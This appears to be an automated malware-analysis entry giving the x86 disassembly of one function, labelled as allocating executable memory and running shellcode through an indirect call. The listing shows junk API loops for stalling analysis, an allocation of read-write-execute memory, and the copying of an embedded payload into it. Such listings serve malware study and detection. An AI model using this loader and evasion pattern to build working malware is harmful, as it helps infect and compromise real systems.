Function at 0x4050c9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x42ff6c
call fcn.0042fbf8
sub esp, 0xcd0
push ebx
push esi
xor esi, esi
cmp dword [0x241ee14], 0x1c9
push edi
jne 0x405192
push esi
push esi
push 0x403788
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 0x54]
push eax
call fcn.004054a9
push ecx
push ecx
mov eax, esp
mov dword [ebp - 4], esi
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404e1c
fstp st(0)
lea ecx, [ebp - 0x20]
call fcn.004078c4
lea ecx, [ebp - 0x20]
call fcn.004079a2
push esi
call fcn.004081d2
pop ecx
call fcn.00407732
push esi
call fcn.00408358
pop ecx
call fcn.00407732
push esi
call fcn.00407ddf
pop ecx
lea eax, [ebp - 0x38]
push eax
call fcn.0040578a
lea eax, [ebp - 0xdc]
push eax
mov byte [ebp - 4], 1
call fcn.004057d6
lea eax, [ebp - 0xdc]
call fcn.00405324
lea eax, [ebp - 0x38]
call fcn.004057c6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x54]
call fcn.00405524
xor edi, edi
cmp edi, 0xa0a
jge 0x4051a9
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push esi
call dword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp edi, 0x2b259d
jle 0x4051de
cmp dword [ebp - 0x18], 0x785074d5
jne 0x4051e7
inc edi
cmp edi, 0x6dcc4e
jl 0x405194
add dword [0x241ee14], 0x1134b
push 0x403804
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x241ee04], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x1000
push dword [0x241ee14]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor edi, edi
mov dword [0x2400b34], eax
cmp dword [0x241ee14], esi
jbe 0x40525d
cmp dword [0x241ee14], 0xa8
mov eax, dword [0x241f878]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2400b34]
mov byte [ecx + edi], al
jne 0x405254
call ebx
inc edi
cmp edi, dword [0x241ee14]
jb 0x405231
xor edi, edi
mov eax, dword [0x241ee14]
add eax, edi
cmp eax, 0xe
jne 0x4052a5
push 0x403820
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x4dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call ebx
inc edi
cmp edi, 0x4fe161
jl 0x40525f
mov edi, 0x4cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
call dword [sym.imp.USER32.dll_OemToCharA]
push esi
lea eax, [ebp - 0xcdc]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x4052b3
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0xcaaaff1
jg 0x4052ec
inc edi
cmp edi, 0x1f05843
jl 0x4052d4
call fcn.00405004
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x26
jne 0x405301
call fcn.004050af
inc esi
cmp esi, 0x409495
jl 0x4052f1
push 0x40385c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret